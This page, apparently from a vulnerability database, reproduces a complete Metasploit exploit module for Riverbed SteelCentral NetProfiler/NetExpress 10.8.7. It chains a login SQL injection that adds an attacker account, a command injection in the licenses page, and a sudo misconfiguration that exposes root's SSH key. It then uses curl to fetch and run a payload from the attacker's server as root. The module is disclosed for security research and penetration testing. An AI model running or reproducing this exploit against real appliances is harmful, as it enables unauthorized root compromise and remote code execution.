Lucene search
K

Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution

🗓️ 12 Jul 2016 00:00:00Reported by Francesco OddoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution module exploits three vulnerabilities in the virtual appliances to obtain remote command execution as root. These include SQL injection in the login form, command injection in the web interface, and insecure sudoers file configuration

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
require 'digest'  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution",  
'Description' => %q{  
This module exploits three separate vulnerabilities found in the Riverbed SteelCentral NetProfiler/NetExpress  
virtual appliances to obtain remote command execution as the root user. A SQL injection in the login form  
can be exploited to add a malicious user into the application's database. An attacker can then exploit a  
command injection vulnerability in the web interface to obtain arbitrary code execution. Finally, an insecure  
configuration of the sudoers file can be abused to escalate privileges to root.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Francesco Oddo <francesco.oddo[at]security-assessment.com>' ],  
'References' =>  
[  
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf' ]  
],  
'Platform' => 'linux',  
'Arch' => ARCH_X86_64,  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' =>  
[  
[ 'Riverbed SteelCentral NetProfiler 10.8.7 / Riverbed NetExpress 10.8.7', { }]  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'Privileged' => false,  
'DisclosureDate' => "Jun 27 2016",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The target URI', '/']),  
OptString.new('RIVERBED_USER', [true, 'Web interface user account to add', 'user']),  
OptString.new('RIVERBED_PASSWORD', [true, 'Web interface user password', 'riverbed']),  
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),  
Opt::RPORT(443)  
],  
self.class  
)  
end  
  
def check  
json_payload_check = "{\"username\":\"check_vulnerable%'; SELECT PG_SLEEP(2)--\", \"password\":\"pwd\"}";  
  
# Verifies existence of login SQLi  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),  
'ctype' => 'application/json',  
'encode_params' => false,  
'data' => json_payload_check  
})  
  
if res && res.body && res.body.include?('AUTH_DISABLED_ACCOUNT')  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
  
print_status("Attempting log in to target appliance")  
@sessid = do_login  
  
print_status("Confirming command injection vulnerability")  
test_cmd_inject  
vprint_status('Ready to execute payload on appliance')  
  
@elf_sent = false  
# Generate payload  
@pl = generate_payload_exe  
  
if @pl.nil?  
fail_with(Failure::BadConfig, 'Please select a valid Linux payload')  
end  
  
# Start the server and use primer to trigger fetching and running of the payload  
begin  
Timeout.timeout(datastore['HTTPDELAY']) { super }  
rescue Timeout::Error  
end  
  
end  
  
def get_nonce  
# Function to get nonce from login page  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path,'/index.php'),  
})  
  
if res && res.body && res.body.include?('nonce_')  
html = res.get_html_document  
nonce_field = html.at('input[@name="nonce"]')  
nonce = nonce_field.attributes["value"]  
else  
fail_with(Failure::Unknown, 'Unable to get login nonce.')  
end  
  
# needed as login nonce is bounded to preauth SESSID cookie  
sessid_cookie_preauth = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''  
  
return [nonce, sessid_cookie_preauth]  
  
end  
  
def do_login  
  
uname = datastore['RIVERBED_USER']  
passwd = datastore['RIVERBED_PASSWORD']  
  
nonce, sessid_cookie_preauth = get_nonce  
post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'/index.php'),  
'cookie' => "SESSID=#{sessid_cookie_preauth}",  
'ctype' => 'application/x-www-form-urlencoded',  
'encode_params' => false,  
'data' => post_data  
})  
  
# Exploit login SQLi if credentials are not valid.  
if res && res.body && res.body.include?('<form name="login"')  
print_status("Invalid credentials. Creating malicious user through login SQLi")  
  
create_user  
nonce, sessid_cookie_preauth = get_nonce  
post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'/index.php'),  
'cookie' => "SESSID=#{sessid_cookie_preauth}",  
'ctype' => 'application/x-www-form-urlencoded',  
'encode_params' => false,  
'data' => post_data  
})  
  
sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''  
print_status("Saving login credentials into Metasploit DB")  
report_cred(uname, passwd)  
else  
print_status("Valid login credentials provided. Successfully logged in")  
sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''  
print_status("Saving login credentials into Metasploit DB")  
report_cred(uname, passwd)  
end  
  
return sessid_cookie  
  
end  
  
def report_cred(username, password)  
# Function used to save login credentials into Metasploit database  
service_data = {  
address: rhost,  
port: rport,  
service_name: ssl ? 'https' : 'http',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
module_fullname: self.fullname,  
origin_type: :service,  
username: username,  
private_data: password,  
private_type: :password  
}.merge(service_data)  
  
credential_core = create_credential(credential_data)  
  
login_data = {  
core: credential_core,  
last_attempted_at: DateTime.now,  
status: Metasploit::Model::Login::Status::SUCCESSFUL  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def create_user  
# Function exploiting login SQLi to create a malicious user  
username = datastore['RIVERBED_USER']  
password = datastore['RIVERBED_PASSWORD']  
  
usr_payload = generate_sqli_payload(username)  
pwd_hash = Digest::SHA512.hexdigest(password)  
pass_payload = generate_sqli_payload(pwd_hash)  
uid = rand(999)  
  
json_payload_sqli = "{\"username\":\"adduser%';INSERT INTO users (username, password, uid) VALUES ((#{usr_payload}), (#{pass_payload}), #{uid});--\", \"password\":\"pwd\"}";  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),  
'ctype' => 'application/json',  
'encode_params' => false,  
'data' => json_payload_sqli  
})  
  
json_payload_checkuser = "{\"username\":\"#{username}\", \"password\":\"#{password}\"}";  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),  
'ctype' => 'application/json',  
'encode_params' => false,  
'data' => json_payload_checkuser  
})  
  
if res && res.body && res.body.include?('session_id')  
print_status("User account successfully created, login credentials: '#{username}':'#{password}'")  
else  
fail_with(Failure::UnexpectedReply, 'Unable to add user to database')  
end  
  
end  
  
def generate_sqli_payload(input)  
# Function to generate sqli payload for user/pass in expected format  
payload = ''  
input_array = input.strip.split('')  
for index in 0..input_array.length-1  
payload = payload << 'CHR(' + input_array[index].ord.to_s << ')||'  
end  
  
# Gets rid of the trailing '||' and newline  
payload = payload[0..-3]  
  
return payload  
end  
  
def test_cmd_inject  
post_data = "xjxfun=get_request_key&xjxr=1457064294787&xjxargs[]=Stoken; id;"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),  
'cookie' => "SESSID=#{@sessid}",  
'ctype' => 'application/x-www-form-urlencoded',  
'encode_params' => false,  
'data' => post_data  
})  
  
unless res && res.body.include?('uid=')  
fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')  
end  
  
end  
  
def cmd_inject(cmd)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),  
'cookie' => "SESSID=#{@sessid}",  
'ctype' => 'application/x-www-form-urlencoded',  
'encode_params' => false,  
'data' => cmd  
})  
  
end  
  
# Deliver payload to appliance and make it run it  
def primer  
  
# Gets the autogenerated uri  
payload_uri = get_uri  
  
root_ssh_key_private = rand_text_alpha_lower(8)  
binary_payload = rand_text_alpha_lower(8)  
  
print_status("Privilege escalate to root and execute payload")  
  
privesc_exec_cmd = "xjxfun=get_request_key&xjxr=1457064346182&xjxargs[]=Stoken; sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d \"'\" > /tmp/#{root_ssh_key_private}; chmod 600 /tmp/#{root_ssh_key_private}; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/#{root_ssh_key_private} root@localhost '/usr/bin/curl -k #{payload_uri} -o /tmp/#{binary_payload}; chmod 755 /tmp/#{binary_payload}; /tmp/#{binary_payload}'"  
  
cmd_inject(privesc_exec_cmd)  
  
register_file_for_cleanup("/tmp/#{root_ssh_key_private}")  
register_file_for_cleanup("/tmp/#{binary_payload}")  
  
vprint_status('Finished primer hook, raising Timeout::Error manually')  
raise(Timeout::Error)  
end  
  
#Handle incoming requests from the server  
def on_request_uri(cli, request)  
vprint_status("on_request_uri called: #{request.inspect}")  
print_status('Sending the payload to the server...')  
@elf_sent = true  
send_response(cli, @pl)  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation